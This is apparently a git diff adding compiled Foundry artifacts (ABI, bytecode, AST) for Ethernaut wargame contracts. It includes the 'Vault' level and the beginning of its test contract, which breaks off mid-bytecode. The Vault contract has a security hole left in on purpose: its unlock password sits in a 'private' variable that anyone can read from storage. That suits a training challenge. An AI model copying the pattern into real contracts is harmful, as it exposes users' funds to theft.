memory)"}},"id":66654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2533:100:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"2500:133:154"},{"assignments":[66657],"declarations":[{"constant":false,"id":66657,"mutability":"mutable","name":"json","nameLocation":"2657:4:154","nodeType":"VariableDeclaration","scope":66671,"src":"2643:18:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":66656,"name":"string","nodeType":"ElementaryTypeName","src":"2643:6:154","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":66662,"initialValue":{"arguments":[{"id":66660,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66638,"src":"2676:4:154","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":66658,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2664:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66659,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2667:8:154","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"2664:11:154","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":66661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2664:17:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"2643:38:154"},{"assignments":[66664],"declarations":[{"constant":false,"id":66664,"mutability":"mutable","name":"code","nameLocation":"2704:4:154","nodeType":"VariableDeclaration","scope":66671,"src":"2691:17:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":66663,"name":"bytes","nodeType":"ElementaryTypeName","src":"2691:5:154","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":66669,"initialValue":{"arguments":[{"hexValue":"2e62797465636f64652e6f626a656374","id":66667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2726:18:154","typeDescriptions":{"typeIdentifier":"t_stringliteral_954c71ec31c39763db2b8f163b03181b1f224e407f712e8585c6300cff72c0f8","typeString":"literal_string \".bytecode.object\""},"value":".bytecode.object"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_954c71ec31c39763db2b8f163b03181b1f224e407f712e8585c6300cff72c0f8","typeString":"literal_string \".bytecode.object\""}],"expression":{"id":66665,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66657,"src":"2711:4:154","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":66666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2716:9:154","memberName":"readBytes","nodeType":"MemberAccess","referencedDeclaration":6907,"src":"2711:14:154","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$attached_to$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (bytes memory)"}},"id":66668,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2711:34:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"2691:54:154"},{"AST":{"nativeSrc":"2765:71:154","nodeType":"YulBlock","src":"2765:71:154","statements":[{"nativeSrc":"2779:47:154","nodeType":"YulAssignment","src":"2779:47:154","value":{"arguments":[{"kind":"number","nativeSrc":"2794:1:154","nodeType":"YulLiteral","src":"2794:1:154","type":"","value":"0"},{"arguments":[{"name":"code","nativeSrc":"2801:4:154","nodeType":"YulIdentifier","src":"2801:4:154"},{"kind":"number","nativeSrc":"2807:4:154","nodeType":"YulLiteral","src":"2807:4:154","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"2797:3:154","nodeType":"YulIdentifier","src":"2797:3:154"},"nativeSrc":"2797:15:154","nodeType":"YulFunctionCall","src":"2797:15:154"},{"arguments":[{"name":"code","nativeSrc":"2820:4:154","nodeType":"YulIdentifier","src":"2820:4:154"}],"functionName":{"name":"mload","nativeSrc":"2814:5:154","nodeType":"YulIdentifier","src":"2814:5:154"},"nativeSrc":"2814:11:154","nodeType":"YulFunctionCall","src":"2814:11:154"}],"functionName":{"name":"create","nativeSrc":"2787:6:154","nodeType":"YulIdentifier","src":"2787:6:154"},"nativeSrc":"2787:39:154","nodeType":"YulFunctionCall","src":"2787:39:154"},"variableNames":[{"name":"addr","nativeSrc":"2779:4:154","nodeType":"YulIdentifier","src":"2779:4:154"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":66629,"isOffset":false,"isSlot":false,"src":"2779:4:154","valueSize":1},{"declaration":66664,"isOffset":false,"isSlot":false,"src":"2801:4:154","valueSize":1},{"declaration":66664,"isOffset":false,"isSlot":false,"src":"2820:4:154","valueSize":1}],"id":66670,"nodeType":"InlineAssembly","src":"2756:80:154"}]},"functionSelector":"2356661a","implemented":true,"kind":"function","modifiers":[],"name":"getOldFactory","nameLocation":"2371:13:154","parameters":{"id":66627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66626,"mutability":"mutable","name":"contractName","nameLocation":"2399:12:154","nodeType":"VariableDeclaration","scope":66672,"src":"2385:26:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":66625,"name":"string","nodeType":"ElementaryTypeName","src":"2385:6:154","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2384:28:154"},"returnParameters":{"id":66630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66629,"mutability":"mutable","name":"addr","nameLocation":"2437:4:154","nodeType":"VariableDeclaration","scope":66672,"src":"2429:12:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":66628,"name":"address","nodeType":"ElementaryTypeName","src":"2429:7:154","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2428:14:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":66352,"name":"Test","nameLocations":["340:4:154"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"340:4:154"},"id":66353,"nodeType":"InheritanceSpecifier","src":"340:4:154"}],"canonicalName":"Utils","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"Utils","nameLocation":"331:5:154","scope":66674,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":154} \ No newline at end of file diff --git a/contracts/out/Vault.sol/Vault.json b/contracts/out/Vault.sol/Vault.json new file mode 100644 index 000000000..990ab90d4 --- /dev/null +++ b/contracts/out/Vault.sol/Vault.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_password","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"locked","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"unlock","inputs":[{"name":"_password","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161012b38038061012b83398101604081905261002e91610043565b5f805460ff191660019081179091555561005a565b5f60208284031215610053575f80fd5b5051919050565b60c5806100665f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c8063cf309012146034578063ec9b5b3a146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6062605e3660046079565b6064565b005b80600154036076575f805460ff191690555b50565b5f602082840312156088575f80fd5b503591905056fea26469706673582212207b33413ba2b7819b53cd6dde86cd94fa6012a86e564954bd7fe304a301c4d31864736f6c63430008180033","sourceMap":"57:299:112:-:0;;;133:91;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;174:6;:13;;-1:-1:-1;;174:13:112;183:4;174:13;;;;;;197:20;57:299;;14:184:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;-1:-1:-1;176:16:155;;14:184;-1:-1:-1;14:184:155:o;:::-;57:299:112;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106030575f3560e01c8063cf309012146034578063ec9b5b3a146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6062605e3660046079565b6064565b005b80600154036076575f805460ff191690555b50565b5f602082840312156088575f80fd5b503591905056fea26469706673582212207b33413ba2b7819b53cd6dde86cd94fa6012a86e564954bd7fe304a301c4d31864736f6c63430008180033","sourceMap":"57:299:112:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;78:18;;;;;;;;;;;;179:14:155;;172:22;154:41;;142:2;127:18;78::112;;;;;;;230:124;;;;;;:::i;:::-;;:::i;:::-;;;298:9;286:8;;:21;282:66;;332:5;323:14;;-1:-1:-1;;323:14:112;;;282:66;230:124;:::o;206:180:155:-;265:6;318:2;306:9;297:7;293:23;289:32;286:52;;;334:1;331;324:12;286:52;-1:-1:-1;357:23:155;;206:180;-1:-1:-1;206:180:155:o","linkReferences":{}},"methodIdentifiers":{"locked()":"cf309012","unlock(bytes32)":"ec9b5b3a"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"_password\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"locked\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"_password\",\"type\":\"bytes32\"}],\"name\":\"unlock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Vault.sol\":\"Vault\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Vault.sol\":{\"keccak256\":\"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b\",\"dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes32","name":"_password","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"locked","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"bytes32","name":"_password","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"unlock"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Vault.sol":"Vault"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Vault.sol":{"keccak256":"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527","urls":["bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b","dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Vault.sol","id":55406,"exportedSymbols":{"Vault":[55405]},"nodeType":"SourceUnit","src":"32:325:112","nodes":[{"id":55371,"nodeType":"PragmaDirective","src":"32:23:112","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55405,"nodeType":"ContractDefinition","src":"57:299:112","nodes":[{"id":55373,"nodeType":"VariableDeclaration","src":"78:18:112","nodes":[],"constant":false,"functionSelector":"cf309012","mutability":"mutable","name":"locked","nameLocation":"90:6:112","scope":55405,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55372,"name":"bool","nodeType":"ElementaryTypeName","src":"78:4:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":55375,"nodeType":"VariableDeclaration","src":"102:24:112","nodes":[],"constant":false,"mutability":"mutable","name":"password","nameLocation":"118:8:112","scope":55405,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":55374,"name":"bytes32","nodeType":"ElementaryTypeName","src":"102:7:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"private"},{"id":55389,"nodeType":"FunctionDefinition","src":"133:91:112","nodes":[],"body":{"id":55388,"nodeType":"Block","src":"164:60:112","nodes":[],"statements":[{"expression":{"id":55382,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55380,"name":"locked","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55373,"src":"174:6:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":55381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"183:4:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"174:13:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55383,"nodeType":"ExpressionStatement","src":"174:13:112"},{"expression":{"id":55386,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55384,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55375,"src":"197:8:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":55385,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55377,"src":"208:9:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"197:20:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":55387,"nodeType":"ExpressionStatement","src":"197:20:112"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":55378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55377,"mutability":"mutable","name":"_password","nameLocation":"153:9:112","nodeType":"VariableDeclaration","scope":55389,"src":"145:17:112","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":55376,"name":"bytes32","nodeType":"ElementaryTypeName","src":"145:7:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"144:19:112"},"returnParameters":{"id":55379,"nodeType":"ParameterList","parameters":[],"src":"164:0:112"},"scope":55405,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":55404,"nodeType":"FunctionDefinition","src":"230:124:112","nodes":[],"body":{"id":55403,"nodeType":"Block","src":"272:82:112","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":55396,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":55394,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55375,"src":"286:8:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":55395,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55391,"src":"298:9:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"286:21:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55402,"nodeType":"IfStatement","src":"282:66:112","trueBody":{"id":55401,"nodeType":"Block","src":"309:39:112","statements":[{"expression":{"id":55399,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55397,"name":"locked","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55373,"src":"323:6:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":55398,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"332:5:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"323:14:112","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55400,"nodeType":"ExpressionStatement","src":"323:14:112"}]}}]},"functionSelector":"ec9b5b3a","implemented":true,"kind":"function","modifiers":[],"name":"unlock","nameLocation":"239:6:112","parameters":{"id":55392,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55391,"mutability":"mutable","name":"_password","nameLocation":"254:9:112","nodeType":"VariableDeclaration","scope":55404,"src":"246:17:112","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":55390,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246:7:112","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"245:19:112"},"returnParameters":{"id":55393,"nodeType":"ParameterList","parameters":[],"src":"272:0:112"},"scope":55405,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Vault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55405],"name":"Vault","nameLocation":"66:5:112","scope":55406,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":112} \ No newline at end of file diff --git a/contracts/out/Vault.t.sol/TestVault.json b/contracts/out/Vault.t.sol/TestVault.json new file mode 100644 index 000000000..f1ea7c745 --- /dev/null +++ b/contracts/out/Vault.t.sol/TestVault.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616138806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b64565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001ba7565b620001b3620001fa36600462001c93565b62000a32565b6200020a62000bfd565b604051620001c7919062001d66565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001e29565b620001da6200025736600462001ef6565b62000eff565b6200019a6200108f565b6200027162001228565b604051620001c7919062001f0e565b620001b36200029136600462001f74565b620012fd565b620002376200141c565b620002b8620002b236600462001f92565b62001516565b6040519015158152602001620001c7565b62000271620016a6565b6200019a6200177b565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001814565b620001da620018cf565b6200019a6200032f36600462001ef6565b6200192f565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001fce565b60209081029190910101516022805473ffffff